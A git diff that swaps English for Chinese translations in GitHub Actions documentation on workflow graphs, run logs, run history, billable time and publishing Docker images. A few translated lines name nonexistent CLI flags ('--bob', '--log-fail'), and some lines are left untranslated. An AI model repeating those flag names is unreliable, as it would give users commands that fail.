   ghae: '*'
   ghec: '*'
-shortTitle: Use the visualization graph
+shortTitle: 使用可视化图表
 ---
 
 {% data reusables.actions.enterprise-beta %}
@@ -19,8 +19,6 @@ shortTitle: Use the visualization graph
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
 
-1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies.
-   ![Workflow graph](/assets/images/help/images/workflow-graph.png)
+1. 图表显示每个工作流程中的作业。 作业名称左侧的图标指示作业的状态。 作业之间的线表示依赖项。 ![工作流程图表](/assets/images/help/images/workflow-graph.png)
 
-2. Click on a job to view the job log.
-   ![Workflow graph](/assets/images/help/images/workflow-graph-job.png)
+2. 单击作业可查看作业日志。 ![工作流程图表](/assets/images/help/images/workflow-graph-job.png)
diff --git a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md
index dd021c9b38..c5e2f7997a 100644
--- a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md
+++ b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md
@@ -1,6 +1,6 @@
 ---
-title: Using workflow run logs
-intro: 'You can view, search, and download the logs for each job in a workflow run.'
+title: 使用工作流程运行日志
+intro: 您可以查看、搜索和下载工作流程运行中每个作业的日志。
 redirect_from:
   - /actions/managing-workflow-runs/using-workflow-run-logs
 versions:
@@ -13,21 +13,21 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-You can see whether a workflow run is in progress or complete from the workflow run page. You must be logged in to a {% data variables.product.prodname_dotcom %} account to view workflow run information, including for public repositories. For more information, see "[Access permissions on GitHub](/articles/access-permissions-on-github)."
+您可以从工作流程运行页面查看工作流程运行是在进行中，还是已完成。 您必须登录到 {% data variables.product.prodname_dotcom %} 帐户才能查看工作流程运行信息，包括公共仓库。 更多信息请参阅“[GitHub 上的访问权限](/articles/access-permissions-on-github)”。
 
-If the run is complete, you can see whether the result was a success, failure, canceled, or neutral. If the run failed, you can view and search the build logs to diagnose the failure and re-run the workflow. You can also view billable job execution minutes, or download logs and build artifacts.
+如果运行已完成，则可查看运行结果是成功、失败、已取消还是中性。 如果运行失败，您可以查看并搜索构建日志，来诊断失败原因并重新运行工作流程。 您也可以查看可计费作业执行分钟数，或下载日志和创建构件。
 
-{% data variables.product.prodname_actions %} use the Checks API to output statuses, results, and logs for a workflow. {% data variables.product.prodname_dotcom %} creates a new check suite for each workflow run. The check suite contains a check run for each job in the workflow, and each job includes steps. {% data variables.product.prodname_actions %} are run as a step in a workflow. For more information about the Checks API, see "[Checks](/rest/reference/checks)."
+{% data variables.product.prodname_actions %} 使用 Checks API 来输出工作流程的状态、结果和日志。 {% data variables.product.prodname_dotcom %} 对每个工作流程创建新检查套件。 检查套件包含检查工作流程中每项作业的运行，而每项作业包含步骤。 {% data variables.product.prodname_actions %} 作为工作流程中的一个步骤运行。 有关检查 API 的详细信息，请参阅“[检查](/rest/reference/checks)”。
 
 {% data reusables.github-actions.invalid-workflow-files %}
 
-## Viewing logs to diagnose failures
+## 查看日志以诊断故障
 
-If your workflow run fails, you can see which step caused the failure and review the failed step's build logs to troubleshoot. You can see the time it took for each step to run. You can also copy a permalink to a specific line in the log file to share with your team. {% data reusables.repositories.permissions-statement-read %}
+如果工作流程运行失败，您可以查看是哪个步骤导致了失败，然后审查失败步骤的创建日志进行故障排除。 您可以查看每个步骤运行的时长。 也可以将永久链接复制到日志文件中的特定行，与您的团队分享。 {% data reusables.repositories.permissions-statement-read %}
 
-In addition to the steps configured in the workflow file, {% data variables.product.prodname_dotcom %} adds two additional steps to each job to set up and complete the job's execution. These steps are logged in the workflow run with the names "Set up job" and "Complete job".
+除了工作流程文件中配置的步骤外，{% data variables.product.prodname_dotcom %} 为每个作业添加了另外两个步骤，以设置和完成作业的执行。 这些步骤以名称"设置作业"和"完成作业"记录在工作流程运行中。
 
-For jobs run on {% data variables.product.prodname_dotcom %}-hosted runners, "Set up job" records details of the runner's virtual environment, and includes a link to the list of preinstalled tools that were present on the runner machine.
+对于在 {% data variables.product.prodname_dotcom %} 托管的运行器上运行的作业，“设置作业”记录运行器虚拟环境的详细信息。 并包含一个链接，可链接到运行器机器上的预安装工具列表。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
@@ -37,25 +37,25 @@ For jobs run on {% data variables.product.prodname_dotcom %}-hosted runners, "Se
 {% data reusables.repositories.view-failed-job-results-superlinter %}
 {% data reusables.repositories.view-specific-line-superlinter %}
 
-## Searching logs
+## 搜索日志
 
-You can search the build logs for a particular step. When you search logs, only expanded steps are included in the results. {% data reusables.repositories.permissions-statement-read %}
+您可以搜索特定步骤的创建日志。 在搜索日志时，只有展开的步骤会包含在结果中。 {% data reusables.repositories.permissions-statement-read %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow-superlinter %}
 {% data reusables.repositories.view-run-superlinter %}
 {% data reusables.repositories.navigate-to-job-superlinter %}
-1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query.
+1. 在日志输出的右上角，在 **Search logs（搜索日志）**搜索框中输入搜索查询。
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Search box to search logs](/assets/images/help/repository/search-log-box-updated-2.png)
+  ![搜索日志的搜索框](/assets/images/help/repository/search-log-box-updated-2.png)
 {% else %}
-  ![Search box to search logs](/assets/images/help/repository/search-log-box-updated.png)
+  ![搜索日志的搜索框](/assets/images/help/repository/search-log-box-updated.png)
 {% endif %}
 
-## Downloading logs
+## 下载日志
 
-You can download the log files from your workflow run. You can also download a workflow's artifacts. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)." {% data reusables.repositories.permissions-statement-read %}
+您可以从工作流程运行中下载日志文件。 您也可以下载工作流程的构件。 更多信息请参阅“[使用构件持久化工作流程](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)”。 {% data reusables.repositories.permissions-statement-read %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
@@ -64,14 +64,14 @@ You can download the log files from your workflow run. You can also download a w
 {% data reusables.repositories.navigate-to-job-superlinter %}
 1. In the upper right corner, click {% ifversion fpt or ghes > 3.0 or ghae or ghec %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**.
   {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Download logs drop-down menu](/assets/images/help/repository/download-logs-drop-down-updated-2.png)
+  ![下载日志下拉菜单](/assets/images/help/repository/download-logs-drop-down-updated-2.png)
   {% else %}
-  ![Download logs drop-down menu](/assets/images/help/repository/download-logs-drop-down-updated.png)
+  ![下载日志下拉菜单](/assets/images/help/repository/download-logs-drop-down-updated.png)
   {% endif %}
 
-## Deleting logs
+## 删除日志
 
-You can delete the log files from your workflow run. {% data reusables.repositories.permissions-statement-write %}
+您可以从工作流程运行中删除日志文件。 {% data reusables.repositories.permissions-statement-write %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
@@ -79,41 +79,41 @@ You can delete the log files from your workflow run. {% data reusables.repositor
 {% data reusables.repositories.view-run-superlinter %}
 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
     {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-    ![Kebab-horizontal icon](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png)
+    ![烤肉串水平图标](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png)
     {% else %}
-    ![Kebab-horizontal icon](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated.png)
+    ![烤肉串水平图标](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated.png)
     {% endif %}
-2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. 
+2. 要删除日志文件，单击 **Delete all logs（删除所有日志）**按钮并审查确认提示。
   {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Delete all logs](/assets/images/help/repository/delete-all-logs-updated-2.png)
+  ![删除所有日志](/assets/images/help/repository/delete-all-logs-updated-2.png)
   {% else %}
-  ![Delete all logs](/assets/images/help/repository/delete-all-logs-updated.png)
+  ![删除所有日志](/assets/images/help/repository/delete-all-logs-updated.png)
   {% endif %}
-After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run.
+删除日志后，**Delete all logs（删除所有日志）** 按钮将会移除，以表示在工作流程运行中没有日志文件。
 
-## Viewing logs with {% data variables.product.prodname_cli %}
+## 使用 {% data variables.product.prodname_cli %} 查看日志
 
 {% data reusables.cli.cli-learn-more %}
 
-To view the log for a specific job, use the `run view` subcommand. Replace `run-id` with the ID of run that you want to view logs for. {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a job from the run. If you don't specify `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run, and then returns another interactive menu for you to choose a job from the run.
+要查看特定作业的日志，请使用 `run view` 子命令。 将 `run-id` 替换为您想要查看其日志的运行的 ID。 {% data variables.product.prodname_cli %} 将返回一个交互式菜单，供您从运行中选择作业。 如果您没有指定 `run-id`，{% data variables.product.prodname_cli %} 将返回一个交互式菜单，让您选择最近的运行，然后返回另一个交互式菜单，让您从运行中选择作业。
 
 ```shell
 gh run view <em>run-id</em> --log
 ```
 
-You can also use the `--job` flag to specify a job ID. Replace `job-id` with the ID of the job that you want to view logs for.
+您也可以使用 `--bob` 标记来指定作业 ID。 将 `job-id` 替换为您想要查看其日志的作业的 ID。
 
 ```shell
 gh run view --job <em>job-id</em> --log
 ```
 
-You can use `grep` to search the log. For example, this command will return all log entries that contain the word `error`.
+您可以使用 `grep` 来搜索日志。 例如，此命令将返回所有包含单词 `error` 的日志条目。
 
 ```shell
 gh run view --job <em>job-id</em> --log | grep error
 ```
 
-To filter the logs for any failed steps, use `--log-failed` instead of `--log`.
+要过滤日志中任何失败的步骤，请使用 `--log-fail` 而不是 `--log`。
 
 ```shell
 gh run view --job <em>job-id</em> --log-failed
diff --git a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md
index f45197dc21..d1aa438095 100644
--- a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md
+++ b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md
@@ -1,28 +1,27 @@
 ---
-title: Viewing job execution time
-intro: 'You can view the execution time of a job, including the billable minutes that a job accrued.'
+title: 查看作业执行时间
+intro: 您可以查看作业的执行时间，包括某个作业累积的可计费分钟数。
 redirect_from:
   - /actions/managing-workflow-runs/viewing-job-execution-time
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: View job execution time
+shortTitle: 查看作业执行时间
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. There are no billable minutes when using {% data variables.product.prodname_actions %} in public repositories or for jobs run on self-hosted runners.
+Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. 如果在公共仓库中使用 {% data variables.product.prodname_actions %}，或在自托管的运行器中运行作业时，将没有可计费分钟数。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
-1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**.
-   ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png)
+1. 在作业摘要下，您可以查看作业的执行时间。 要查看有关计费作业执行时间的详细信息，请单击 **Billable time（计费时间）**下的时间。 ![运行和可计费时间详细信息链接](/assets/images/help/repository/view-run-billable-time.png)
 
    {% note %}
-   
+
    **Note:** The billable time shown does not include any minute multipliers. To view your total {% data variables.product.prodname_actions %} usage, including minute multipliers, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)."
-   
+
    {% endnote %}
diff --git a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
index 6ecf2c01cc..2aec6c810f 100644
--- a/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
+++ b/translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing workflow run history
-intro: You can view logs for each run of a workflow. Logs include the status for each job and step in a workflow.
+title: 查看工作流程运行历史记录
+intro: 您可以查看工作流程每次运行的日志。 日志包括工作流程中每个作业和步骤的状态。
 redirect_from:
   - /actions/managing-workflow-runs/viewing-workflow-run-history
 versions:
@@ -8,7 +8,7 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: View workflow run history
+shortTitle: 查看工作流程运行历史记录
 ---
 
 {% data reusables.actions.enterprise-beta %}
@@ -16,8 +16,6 @@ shortTitle: View workflow run history
 
 {% data reusables.repositories.permissions-statement-read %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -31,53 +29,53 @@ shortTitle: View workflow run history
 
 {% data reusables.cli.cli-learn-more %}
 
-### Viewing recent workflow runs
+### 查看最近的工作流程运行
 
-To list the recent workflow runs, use the `run list` subcommand.
+要列出最近的工作流程运行，请使用 `run list` 子命令。
 
 ```shell
 gh run list
 ```
 
-To specify the maximum number of runs to return, you can use the `-L` or `--limit` flag . The default is `10`.
+要指定返回的最大运行次数，您可以使用 `-L` 或 `--limit` 标记。 默认值为`10`.
 
 ```shell
 gh run list --limit 5
 ```
 
-To only return runs for the specified workflow, you can use the `-w` or `--workflow` flag.  Replace `workflow` with either the workflow name, workflow ID, or workflow file name. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`.
+要只返回为指定的工作流程的运行，您可以使用 `-w` 或 `--workflow` 标记。  将 `workflow` 替换为工作流名称、工作流程 ID 或工作流程文件名。 例如 `"Link Checker"`、`1234567` 或 `"link-check-test.yml"`。
 
 ```shell
 gh run list --workflow <em>workflow</em>
 ```
 
-### Viewing details for a specific workflow run
+### 查看特定工作流程运行的详细信息
 
-To display details for a specific workflow run, use the `run view` subcommand. Replace `run-id` with the ID of the run that you want to view. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run.
+要显示特定工作流程运行的详细信息，请使用 `run view` 子命令。 将 `run-id` 替换为您想要查看的运行的 ID。 如果您没有指定 `run-id`，{% data variables.product.prodname_cli %} 将返回一个交互式菜单，供您选择最近的运行。
 
 ```shell
 gh run view <em>run-id</em>
 ```
 
-To include job steps in the output, use the `-v` or `--verbose` flag.
+要在输出中包括作业步骤，请使用 `-v` 或 `--verbose` 标记。
 
 ```shell
 gh run view <em>run-id</em> --verbose
 ```
 
-To view details for a specific job in the run, use the `-j` or `--job` flag.  Replace `job-id` with the ID of the job that you want to view.
+要查看运行中特定作业的详细信息，请使用 `-j` 或 `--job` 标记。  将 `job-id` 替换为您想要查看的作业的 ID。
 
 ```shell
 gh run view --job <em>job-id</em>
 ```
 
-To view the full log for a job, use the `--log` flag.
+要查看作业的完整日志，请使用 `--log` 标记。
 
 ```shell
 gh run view --job <em>job-id</em> --log
 ```
 
-Use the `--exit-status` flag to exit with a non-zero status if the run failed. For example:
+如果运行失败，请使用 `--exit-status` 标记以非零状态退出。 例如：
 
 ```shell
 gh run view 0451 --exit-status && echo "run pending or passed"
diff --git a/translations/zh-CN/content/actions/publishing-packages/about-packaging-with-github-actions.md b/translations/zh-CN/content/actions/publishing-packages/about-packaging-with-github-actions.md
index fe14bd2f39..c62015b93b 100644
--- a/translations/zh-CN/content/actions/publishing-packages/about-packaging-with-github-actions.md
+++ b/translations/zh-CN/content/actions/publishing-packages/about-packaging-with-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: About packaging with GitHub Actions
-intro: 'You can set up workflows in {% data variables.product.prodname_actions %} to produce packages and upload them to {% data variables.product.prodname_registry %} or another package hosting provider.'
+title: 关于使用 GitHub Actions 进行打包
+intro: '您可以在 {% data variables.product.prodname_actions %} 中设置工作流程生成包并将其上传到 {% data variables.product.prodname_registry %} 或其他包托管提供程序。'
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/about-packaging-with-github-actions
   - /actions/publishing-packages-with-github-actions/about-packaging-with-github-actions
@@ -13,7 +13,7 @@ versions:
 type: overview
 topics:
   - Packaging
-shortTitle: Packaging with GitHub Actions
+shortTitle: 使用 GitHub Actions 进行打包
 ---
 
 {% data reusables.actions.enterprise-beta %}
@@ -21,6 +21,6 @@ shortTitle: Packaging with GitHub Actions
 
 {% data reusables.package_registry.about-packaging-and-actions %}
 
-## Further reading
+## 延伸阅读
 
-- "[Publishing Node.js packages](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)"
+- "[发布 Node.js 包](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)"
diff --git a/translations/zh-CN/content/actions/publishing-packages/index.md b/translations/zh-CN/content/actions/publishing-packages/index.md
index 843d525047..9a734f70ea 100644
--- a/translations/zh-CN/content/actions/publishing-packages/index.md
+++ b/translations/zh-CN/content/actions/publishing-packages/index.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing packages
-shortTitle: Publishing packages
+title: 发布包
+shortTitle: 发布包
 intro: 'You can automatically publish packages using {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
diff --git a/translations/zh-CN/content/actions/publishing-packages/publishing-docker-images.md b/translations/zh-CN/content/actions/publishing-packages/publishing-docker-images.md
index d7fe77fb52..6c6deb58fd 100644
--- a/translations/zh-CN/content/actions/publishing-packages/publishing-docker-images.md
+++ b/translations/zh-CN/content/actions/publishing-packages/publishing-docker-images.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing Docker images
-intro: 'You can publish Docker images to a registry, such as Docker Hub or {% data variables.product.prodname_registry %}, as part of your continuous integration (CI) workflow.'
+title: 发布 Docker 映像
+intro: '您可以将 Docker 映像发布到注册表，例如 Docker Hub 或 {% data variables.product.prodname_registry %}，作为持续集成 (CI) 工作流程的一部分。'
 redirect_from:
   - /actions/language-and-framework-guides/publishing-docker-images
   - /actions/guides/publishing-docker-images
@@ -19,52 +19,52 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This guide shows you how to create a workflow that performs a Docker build, and then publishes Docker images to Docker Hub or {% data variables.product.prodname_registry %}. With a single workflow, you can publish images to a single registry or to multiple registries.
+本指南介绍如何创建执行 Docker 构建的工作流程，然后将 Docker 映像发布到 Docker Hub 或 {% data variables.product.prodname_registry %}。 通过单个工作流程，您可以将映像发布到单一注册表或多个注册表。
 
 {% note %}
 
-**Note:** If you want to push to another third-party Docker registry, the example in the "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)" section can serve as a good template.
+**注意：**如果要推送到另一个第三方 Docker 注册表，则“[发布映像到 {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)”部分可作为一个很好的模板。
 
 {% endnote %}
 
-## Prerequisites
+## 基本要求
 
-We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+建议基本了解工作流程配置选项和如何创建工作流程文件。 更多信息请参阅“[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。
 
-You might also find it helpful to have a basic understanding of the following:
+您可能还发现基本了解以下内容是有帮助的：
 
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
-- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"{% ifversion fpt or ghec %}
-- "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)"{% else %}
-- "[Working with the Docker registry](/packages/working-with-a-github-packages-registry/working-with-the-docker-registry)"{% endif %}
+- [加密的密码](/actions/reference/encrypted-secrets)"
+- "[工作流程中的身份验证](/actions/reference/authentication-in-a-workflow)"{% ifversion fpt or ghec %}
+- "[使用 {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)"{% else %}
+- “[使用 Docker 注册表](/packages/working-with-a-github-packages-registry/working-with-the-docker-registry)”{% endif %}
 
-## About image configuration
+## 关于映像配置
 
-This guide assumes that you have a complete definition for a Docker image stored in a {% data variables.product.prodname_dotcom %} repository. For example, your repository must contain a _Dockerfile_, and any other files needed to perform a Docker build to create an image.
+本指南假定您对存储在 {% data variables.product.prodname_dotcom %} 仓库的 Docker 映像有完整的定义。 例如，仓库必须包含 _Dockerfile_ 以及执行 Docker 构建所需的任何其他文件才可创建映像。
 
-In this guide, we will use the Docker `build-push-action` action to build the Docker image and push it to one or more Docker registries. For more information, see [`build-push-action`](https://github.com/marketplace/actions/build-and-push-docker-images).
+在本指南中，我们将使用 Docker `build-push-action` 操作来构建 Docker 映像并将其推送到一个或多个 Docker 注册表。 更多信息请参阅 [`build-push-action`](https://github.com/marketplace/actions/build-and-push-docker-images)。
 
 {% data reusables.actions.enterprise-marketplace-actions %}
 
-## Publishing images to Docker Hub
+## 将映像发布到 Docker Hub
 
 {% data reusables.github-actions.release-trigger-workflow %}
 
-In the example workflow below, we use the Docker `login-action` and `build-push-action` actions to build the Docker image and, if the build succeeds, push the built image to Docker Hub.
+在下面的示例工作流程中，我们使用 Docker `login-action` 和 `build-push-action` 操作构建 Docker 映像，如果构建成功，则将构建映像推送到 Docker Hub。
 
-To push to Docker Hub, you will need to have a Docker Hub account, and have a Docker Hub repository created. For more information, see "[Pushing a Docker container image to Docker Hub](https://docs.docker.com/docker-hub/repos/#pushing-a-docker-container-image-to-docker-hub)" in the Docker documentation.
+要推送到 Docker Hub，您需要有一个 Docker Hub 帐户，并创建一个 Docker Hub 仓库。 更多信息请参阅 Docker 文档中的“[将 Docker 容器映像推送到 Docker Hub](https://docs.docker.com/docker-hub/repos/#pushing-a-docker-container-image-to-docker-hub)”。
 
-The `login-action` options required for Docker Hub are:
-* `username` and `password`: This is your Docker Hub username and password. We recommend storing your Docker Hub username and password as secrets so they aren't exposed in your workflow file. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+Docker Hub 需要的 `login-action` 选项包括：
+* `username` 和 `password`：这是您的 Docker Hub 用户名和密码。 我们建议将 Docker Hub 用户名和密码存储为机密，使它们不会公开在工作流程文件中。 更多信息请参阅“[创建和使用加密密码](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
 
-The `metadata-action` option required for Docker Hub is:
-* `images`: The namespace and name for the Docker image you are building/pushing to Docker Hub.
+Docker Hub 需要的 `metadata-action` 选项包括：
+* `images`：您构建/推送到 Docker Hub 的 Docker 映像的命名空间和名称。
 
-The `build-push-action` options required for Docker Hub are:
-* `tags`: The tag of your new image in the format `DOCKER-HUB-NAMESPACE/DOCKER-HUB-REPOSITORY:VERSION`. You can set a single tag as shown below, or specify multiple tags in a list.
-* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully.
+Docker Hub 需要的 `build-push-action` 选项包括：
+* `tags`：新映像的标记，格式为 `DOCKER-HUB-NAMESPACE/DOCKER-HUB-REPOSITORY:VERSION`。 您可以如下所示设置单个标记，或在列表中指定多个标记。
+* `push`：如果设置为 `true`，则映像在构建成功后将被推送到注册表。
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -82,19 +82,19 @@ jobs:
     steps:
       - name: Check out the repo
         uses: actions/checkout@v2
-      
+
       - name: Log in to Docker Hub
         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %}
           password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %}
-      
+
       - name: Extract metadata (tags, labels) for Docker
         id: meta
         uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38
         with:
           images: my-docker-hub-namespace/my-docker-hub-repository
-      
+
       - name: Build and push Docker image
         uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
         with:
@@ -104,34 +104,34 @@ jobs:
           labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %}
 ```
 
-The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to Docker Hub, and apply a tag to the image.
+上述工作流程检出 {% data variables.product.prodname_dotcom %} 仓库，使用 `login-action` 登录到注册表，然后使用 `build-push-action` 操作：基于仓库的 `Dockerfile` 构建 Docker 映像；将该映像推送到 Docker Hub，然后应用标记到映像。
 
-## Publishing images to {% data variables.product.prodname_registry %}
+## 发布映像到 {% data variables.product.prodname_registry %}
 
 {% data reusables.github-actions.release-trigger-workflow %}
 
-In the example workflow below, we use the Docker `login-action`{% ifversion fpt or ghec %}, `metadata-action`,{% endif %} and `build-push-action` actions to build the Docker image, and if the build succeeds, push the built image to {% data variables.product.prodname_registry %}.
+在下面的示例工作流程中，我们使用 Docker `login-action`{% ifversion fpt or ghec %}、`metadata-action`{% endif %} 和 `build-push-action` 操作构建 Docker 映像，如果构建成功，则将构建的映像推送到 {% data variables.product.prodname_registry %}。
 
-The `login-action` options required for {% data variables.product.prodname_registry %} are:
-* `registry`: Must be set to {% ifversion fpt or ghec %}`ghcr.io`{% else %}`docker.pkg.github.com`{% endif %}.
-* `username`: You can use the {% raw %}`${{ github.actor }}`{% endraw %} context to automatically use the username of the user that triggered the workflow run. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)."
-* `password`: You can use the automatically-generated `GITHUB_TOKEN` secret for the password. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)."
+{% data variables.product.prodname_registry %} 需要的 `login-action` 选项包括：
+* `registry`：必须设置为 {% ifversion fpt or ghec %}`ghcr.io`{% else %}`docker.pkg.github.com`{% endif %}。
+* `username`：您可以使用 {% raw %}`${{ github.actor }}`{% endraw %} 上下文自动使用触发工作流程运行的用户的用户名。 更多信息请参阅“[上下文](/actions/learn-github-actions/contexts#github-context)”。
+* `password`：您可以使用自动生成的 `GITHUB_TOKEN` 密码作为密码。 更多信息请参阅“[使用 GITHUB_TOKEN 验证身份](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)”。
 
 {% ifversion fpt or ghec %}
 The `metadata-action` option required for {% data variables.product.prodname_registry %} is:
-* `images`: The namespace and name for the Docker image you are building.
+* `images`：您构建的 Docker 映像的命名空间和名称。
 {% endif %}
 
-The `build-push-action` options required for {% data variables.product.prodname_registry %} are:{% ifversion fpt or ghec %}
-* `context`: Defines the build's context as the set of files located in the specified path.{% endif %}
-* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully.{% ifversion fpt or ghec %}
-* `tags` and `labels`: These are populated by output from `metadata-action`.{% else %}
-* `tags`: Must be set in the format `docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION`. For example, for an image named `octo-image` stored on {% data variables.product.prodname_dotcom %} at `http://github.com/octo-org/octo-repo`, the `tags` option should be set to `docker.pkg.github.com/octo-org/octo-repo/octo-image:latest`. You can set a single tag as shown below, or specify multiple tags in a list.{% endif %}
+{% data variables.product.prodname_registry %} 需要的 `build-push-action` 选项为：{% ifversion fpt or ghec %}
+* `context`：将构建的上下文定义为位于指定路径中的文件集。{% endif %}
+* `push`：如果设置为 `true`，则映像在构建成功后将被推送到注册表。{% ifversion fpt or ghec %}
+* `tags` 和 `labels`：这些由 `metadata-action` 的输出填充。{% else %}
+* `tags`：必须设置为格式 `docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION`。 例如，对于 `http://github.com/octo-org/octo-repo` 上名为 `octo-image` stored on {% data variables.product.prodname_dotcom %} 的映像，`tags` 选项应设置为 `docker.pkg.github.com/octo-org/octo-repo/octo-image:latest`。 您可以如下所示设置单个标记，或在列表中指定多个标记。{% endif %}
 
 {% ifversion fpt or ghec %}
 {% data reusables.package_registry.publish-docker-image %}
 
-The above workflow if triggered by a push to the "release" branch. It checks out the GitHub repository, and uses the `login-action` to log in to the {% data variables.product.prodname_container_registry %}. It then extracts labels and tags for the Docker image. Finally, it uses the `build-push-action` action to build the image and publish it on the {% data variables.product.prodname_container_registry %}.
+上述工作流程如被推送到“发行版”分支触发， 它会检出 GitHub 仓库，并使用 `login-action` 登录到 {% data variables.product.prodname_container_registry %}。 然后，它将提取 Docker 映像的标签和标记。 最后，它使用 `build-push-action` 操作来构建映像并在 {% data variables.product.prodname_container_registry %} 上发布。
 
 {% else %}
 ```yaml{:copy}
@@ -152,14 +152,14 @@ jobs:
     steps:
       - name: Check out the repo
         uses: actions/checkout@v2
-      
+
       - name: Log in to GitHub Docker Registry
